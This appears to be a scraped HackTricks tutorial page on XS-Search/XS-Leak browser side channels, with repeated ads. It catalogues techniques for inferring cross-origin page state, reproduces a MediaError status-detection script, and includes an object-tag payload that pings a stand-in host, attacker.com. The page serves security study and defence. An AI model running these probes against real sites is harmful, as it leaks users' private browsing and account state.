Comment on page
XS-Search/XS-Leaks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
XS-Search is a technique oriented to exfiltrate cross-origin information abusing side channel attacks.
There are different elements in this kind of attack:
- Vulnerable Web: Is the web from where we want to exfiltrate some info
- Attacker's Web: Is the web the attacker creates containing the exploit and that the victim access
- Inclusion Method: Is the method used to load the Vulnerable Web from the Attacker's web (like window.open, iframe, fetch, HTML tag with href...)
- Leak Technique: After accessing the vulnerable web, a technique will be used to differentiate between the potential status of the web with the information obtained from the inclusion method used.
- States: The 2 possible states the vulnerable web can have depending on the victim that we want to differentiate.
- Detectable Differences: This is the information the attacker has to try to decide the status of the vulenrable web
In order to distinguish between the 2 states of the vulnerable page several things could be looked at:
- Status Code. An attacker can distinguish different HTTP response status codes cross-origin (e.g., server errors, client errors, or authentication errors).
- API Usage. This detectable difference allows an attacker to detect Web APIs’ usage across pages, allowing an attacker to infer whether a cross-origin page is using a specific JavaScript Web API.
- Redirects. It is possible to detect if a web application has navigated the user to a different page. This is not limited to HTTP redirects but also includes redirects triggered by JavaScript or HTML.
- Page Content. These detectable differences appear in the HTTP response body itself or in sub-resources included by the page. For example, this could be the number of included frames (cf. XS-Leak on Gitlab) or size differences of images.
- HTTP Header. An attacker can detect the presence of a specific HTTP response header and may be able to gather its value. This includes headers such as X-Frame-Options, Content-Disposition, and Cross-Origin-Resource-Policy.
- Timing: An attacker can detect that a consistent time difference exists between 2 states.
- HTML Elements. HTML offers a variety of elements that enable cross-origin resource inclusion. Elements like stylesheets, images, or scripts, force the victim’s browser to request a specified non-HTML resource. A list that enumerates possible HTML elements for this purpose is available online (https://github.com/cure53/HTTPLeaks).
- Frames. Elements such as iframe, object, and embed may embed further HTML resources directly into the attacker page. If the page does not use framing protection, JavaScript code can access the framed resource’s window object via the contentWindow property.
- Pop-ups. The
window.open
method loads a resource in a new browser tab or window. The method returns a window handle that JavaScript code can use to access methods and properties, which comply with the SOP. These so-called pop-ups are often used in single sign-on. Modern browsers only allow pop-ups if they are triggered by certain user interactions. For XS-Leak attacks, this method is especially helpful because it bypasses framing and cookie restrictions for a target resource. Newer browser versions recently added means to isolate window handles. - JavaScript Requests. JavaScript allows sending requests to target resources directly. There are two different ways for this purpose: XMLHttpRequests and its successor Fetch API. In contrast to previous inclusion methods, an attacker has fine-grained control over the issued request, for example, whether an HTTP redirect must be automatically followed.
- Event Handler. Event handler can be seen as the classical leak technique for XS-Leaks. They are a well-known source of various pieces of information. For example, the trigger of onload indicates a successful resource loading in contrast to the onerror event.
- Error Messages. Beyond event handlers, error messages can occur as JavaScript exceptions and special error pages. Error messages can be thrown in different steps, for example, directly by the leak technique. The leak technique can either use additional information directly contained in the error message, or distinguish between the appearance and absence of an error message.
- Global Limits. Every computer has its physical limits, so does a browser. For example, the amount of available memory limits a browser’s running tabs. The same holds for other browser limits that are enforced for the entire browser. If an attacker can determine when the limit is reached this can be used as a leak technique.
- Global State. Browsers have global states that all pages can interact with. If this interaction is detectable from an attacker’s website, it can be used as a leak technique. For example, the History interface allows manipulation of the pages visited in a tab or frame. This creates a global state because the number of entries allows an attacker to draw conclusions about cross-origin pages.
- Performance API. The Performance API is used to access the performance information of the current page. Their entries include detailed network timing data for the document and every resource loaded by the page. This allows an attacker to draw conclusions about requested resources. For example, we identified cases where browsers will not create performance entries for some requests.
- Readable Attributes. HTML has several attributes that are readable cross-origin. This read access can be used as a leak technique. For example, JavaScript code can read the number of frames included in a webpage cross-origin with the window.frame.length property.
Some of the following techniques are going to use timing to as part of the process to detect differences in the possible states of the web pages. There are different ways to measure time in a web browser.
Clocks: The performance.now() API allows developers to get high-resolution timing measurements.
There are a considerable number of APIs attackers can abuse to create implicit clocks: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations, and others.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.
XSinator is an automatic tool to check browsers against several know XS-Leaks explained in its paper: https://xsinator.com/paper.pdf
You can access the tool in https://xsinator.com/
Excluded XS-Leaks: We had to exclude XS-Leaks that rely on service workers as they would interfere with other leaks in XSinator. Furthermore, we chose to exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate.

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- Summary: if trying to load a resource onerror/onload events are triggered with the resource is loaded successfully/unsuccessfully it's possible to figure out the status code.
The code example try lo load scripts objects from JS, but other tags such as objects, stylesheets, images, audios could be also used. Moreover, it's also possible to inject the tag directly and declare the
onload
and onerror
events inside the tag (instead of injecting it from JS).There is also a script-less version of this attack:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
In this case if
example.com/404
is not found attacker.com/?error
will be loaded.- Inclusion Methods: HTML Elements
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- Summary: The **** performance.now() API can be used to measure how much time it takes to perform a request. However, other clocks could be used, such as PerformanceLongTaskTiming API which can identify tasks running for more than 50ms.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events another example in:
This technique is just like the previous one, but the attacker will also force some action to take a relevant amount time when the answer is positive or negative and measure that time.
- Inclusion Methods: Frames
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- Summary: The SharedArrayBuffer clock can be used to measure how much time it takes to perform a request. Other clocks could be used.
The
unload
and beforeunload
events can be used to measure the time it takes to fetch a resource. This works because beforeunload
is triggered when the browser requests a new navigation request, while unload
is triggered when that navigation actually occurs. Because of this behaviour, it is possible to calculate the time difference between these two events and measure the time it took the browser to complete fetching the resource.- Inclusion Methods: Frames
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- Summary: The performance.now() API can be used to measure how much time it takes to perform a request. Other clocks could be used.
If a page doesn’t have any Framing Protections implemented, an attacker can time how long it takes for the page and all subresources to load over the network. By default, the
onload
handler for an iframe is invoked after all the resources have been loaded and all JavaScript has finished executing. But, an attacker can eliminate the noise of script execution by including the sandbox
attribute in the <iframe>
. This attribute blocks a lot of features including JavaScript execution, which results in almost pure network measurement.- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info:
- Summary: If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without measuring the time.
- Code Example:
Suppose that you can insert the page that has the secret content inside an Iframe.
You can make the victim search for the file that contains "flag" using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.
For example:
- 1.URL1: www.attacker.com/xssearch#try1
- 2.URL2: www.attacker.com/xssearch#try2
If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won't be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.
Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info:
- Summary: If the page is returning the sensitive content, or a content that can be controlled by the user. The user could set valid JS code in the negative case, an load each try inside
<script>
tags, so in negative cases attackers code is executed, and in affirmative cases nothing will be executed. - Code Example:
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code & Headers
- Summary: Attackers can observe when CORB is enforced if a response returns a CORB protected
Content-Type
(andnosniff
) with the status code2xx
which results in CORB stripping the body and headers from the response. Detecting this protection allows an attacker to leak the combination of both the status code (success vs. error) and theContent-Type
(protected by CORB or not). - Code Example:
Check the more information link for more information about the attack.
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- Summary: Leak sensitive data from the id or name attribute.
It's possible to load a page inside an iframe and use the
#id_value
to make the page focus on the element of the iframe with indicated if, then if an onblur
signal is triggered, the ID element exists.
You can perform the same attack with portal
tags.- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- Summary: Gather sensitive information from a postMessage or use the presence of postMessages as an oracle to know the status of the user in the page
- Code Example:
Any code listening for all postMessages.
Applications often use postMessage broadcasts to share information with other origins. Listening to this messages one could find sensitive info (potentially if the the
targetOrigin
param is not used). Also, the fact of receiving some message can be used as an oracle (you only receive this kind of message if you are logged in).
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- Summary: Exhausting the WebSocket connection limit leaks the number of WebSocket connections of a cross-origin page.
It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.
If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- Summary: Detect Payment Request because only one can be active at a time.
This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.
Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.
- Inclusion Methods:
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- Summary: Measure execution time of a web abusing the single-threaded JS event loop.
- Code Example:
JavaScript’s concurrency model is based on a single-threaded event loop which means it can only run one task at a time.
Inferring how long code from a different origin takes to run by measuring how long it takes to run next in the event pool. The attacker keeps sending events to the event loop with fixed properties, which will eventually be dispatched if the pool is empty. Other origins dispatch events to the same pool, and this is where an attacker infers the time difference by detecting if a delay occurred with one of its tasks.
In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.
- Inclusion Methods:
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- Summary: Measure execution time of a web locking the event loop of a thread and timing how long it takes for the event loop to become available again.
- Code Example:
One of the main advantages of this technique is its ability to circumvent Site Isolation, as an attacker origin can influence the execution of another origin.
In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- Summary: An attacker could lock all the sockets except 1, load the target web and at the same time load another page, the time until the last page is starting to load is the time the target page took to load.
- Code Example:
Browsers use sockets to communicate with servers. As the operating system and the hardware it runs on have limited resources, browsers have to impose a limit. To exploit the existence of this limit, attackers can:
- 1.Check what the limit of the browser is, for example 256 global sockets.
- 2.Block 255 sockets for a long period of time by performing 255 requests to different hosts that simply hang the connection
- 3.Use the 256th socket by performing a request to the target page.
- 4.Perform a 257th request to another host. Since all the sockets are being used (in steps 2 and 3), this request must wait until the pool receives an available socket. This waiting period provides the attacker with the network timing of the 256th socket, which belongs to the target page. This works because the 255 sockets in step 2 are still blocked, so if the pool received an available socket, it was caused by the release of the socket in step 3. The time to release the 256th socket is directly connected with the time taken to complete the request.
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info:
- Summary: It's like the previous technique but instead of using all the sockets, Google Chrome puts a limit of 6 concurrent request to the same origin. If we block 5 and then launch a 6th request we can time it and if we managed to make the victim page send more requests to the same endpoint to detect a status of the page, the 6th request will take longer and we can detect it.

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
The
Performance API
provides access to performance-related information enhanced by the data from the Resource Timing API
which provides the timings of network requests such as the duration but when there’s a Timing-Allow-Origin: *
header sent by the server the transfer size and domain lookup time is also provided.
This data can be accessed by using performance.getEntries
or performance.getEntriesByName
It can also be used to get the execution time using the difference of performance.now()
however this seems to be less precise for a chrome fetch because it only provides the milliseconds.This API can be used to measure the time of a request or to detect the use of X-Frame-Options as the blocked page won't be added to the
performance
object in Chrome.- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- Summary: A request that results in errors will not create a resource timing entry.
It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- Summary: Due to a browser bug, requests that result in errors are loaded twice.
In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- Summary: Requests that result in an error can not be merged.
The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- Summary: Empty responses do not create resource timing entries.
An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- Summary: Detect presence of specific elements in a webpage with the XSS-Auditor in SA.
In SA, it is possible to detect if the XSSAuditor was triggered and thus leak sensitive information. The XSS-Auditor is a built-in feature of SA and GC (now removed) designed to mitigate Cross-Site Scripting (XSS) attacks. In 2013, Braun and Heiderich [7] showed that the XSS-Auditor can be used to block benign scripts with false positives. Based on their technique, researchers exfiltrate information and detect specific content on a cross-origin page. These XS-Leaks were first described in a bug report by Terada and later in a blog post by Heyes . However, the discovered techniques applied only to the XSS-Auditor in GC and do not work in SA. We found that blocked pages will not create Performance API entries. That means an attacker can still leak sensitive information with the XSS-Auditor in SA.
- Inclusion Methods: Frames
- Detectable Difference: Header
- Summary: Resource with X-Frame-Options header does not create resource timing entry.
If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header
X-Frame-Options
.
Same happens if you use an embed tag.- Inclusion Methods: Frames
- Detectable Difference: Header
- Summary: Downloads do not create resource timing entries in the Performance API.
Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.
- Inclusion Methods: Frames
- Detectable Difference: Redirect
- Summary: Resource timing entry leaks the start time of a redirect.
We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.
- Inclusion Methods: Fetch API
- Detectable Difference: Redirect
- Summary: The duration of timing entries is negative when a redirect occurs.
In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.
- Inclusion Methods: Frames
- Detectable Difference: Header
- Summary: Resource protected with CORP do not create resource timing entries.
In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.
- Inclusion Methods: Frames
- Detectable Difference: API Usage
- Summary: Detect if a service worker is registered for a specific origin.
- Code Example:
Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application.
If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache.
To detect if the resource was loaded from the service worker cache the Performance API can be used.
This could also be done with a Timing attack (check the paper for more info).
- Inclusion Methods: Fetch API
- Detectable Difference: Timing
- Summary: Detect if a resource was stored in the cache.
Using the Performance API it's possible to check if a resource is cached.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Inclusion Methods: Fetch API
- Detectable Difference: Page Content
- Summary: It is possible to retrieve the network duration of a request from the
performance
API.
- Inclusion Methods: HTML Elements (Video, Audio)
- Detectable Difference: Status Code
- Summary: In FF, it is possible to accurately leak a cross-origin request’s status code.
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}
function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
The message property of the
MediaError
interface contains a different string for resources that loads successfully. This allows an attacker to infer the response status for a cross-origin resource.- Inclusion Methods: Fetch API
- Detectable Difference: Header
- Summary: In SA CORS error messages leak the full URL of redirects.
This technique allows an attacker to leak the target of a redirect that is initiated by a cross-origin site.
CORS allows publicly accessible web resources to be read and used from any website. In Webkit-based browsers, it is possible to access CORS error messages when a CORS request fails. An attacker can send a CORS-enabled request to a target website which redirects based on the user state. When the browser denies the request, the full URL of the redirect target is leaked in the error message. With this attack, it is possible to detect redirects, leak redirect locations, and sensitive query parameters.
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- Summary: In SA CORS error messages leak the full URL of redirects.
An attacker can leak the size of cross-origin responses due to verbose error messages.
The integrity attribute defines a cryptographic hash by which the browser can verify that a fetched resource has not been manipulated. This security mechanism is called Subresource Integrity (SRI). It is used for integrity verification of resources served from content delivery networks (CDNs). To prevent data leaks, cross-origin resources must be CORS-enabled. Otherwise, the response is not eligible for integrity validation. Similar to the CORS error XS-Leak, it is possible to catch the error message after a fetch request with an integrity attribute fails. An attacker can forcefully trigger this error on any request by specifying a bogus hash value. In SA, this error message leaks the content length of the requested resource. An attacker can use this leak to detect differences in response size, which enables powerful XS-Leak attacks.
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code
- Summary: Allowing only the victims website in the CSP if we accessed it tries to redirect to a different domain the CSP will trigger a detectable error.
A XS-Leak can use the CSP to detect if a cross-origin site was redirected to a different origin. This leak can detect the redirect, but additionally, the domain of the redirect target leaks. The basic idea of this attack is to allow the target domain on the attacker site. Once a request is issued to the target domain, it redirects to a cross-origin domain. CSP blocks the access to it and creates a violation report used as a leak technique. Depending on the browser, this report may leak the target location of the redirect.
Modern browsers won't indicate the URL it was redirected to, but you can still detect that a cross-origin redirect was triggered.
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Page Content
- Summary: Clear the file from the cache. Opens target page checks if the file is present in the cache.
- Code Example:
Browsers might use one shared cache for all websites. Regardless of their origin, it is possible to deduct whether a target page has requested a specific file.
If a page loads an image only if the user is logged in, you can invalidate the resource (so it's no longer cached if it was, see more info links), perform a request that could load that resource and try to load the resource with a bad request (e.g. using an overlong referer header). If the resource load didn't trigger any error, it's because it was cached.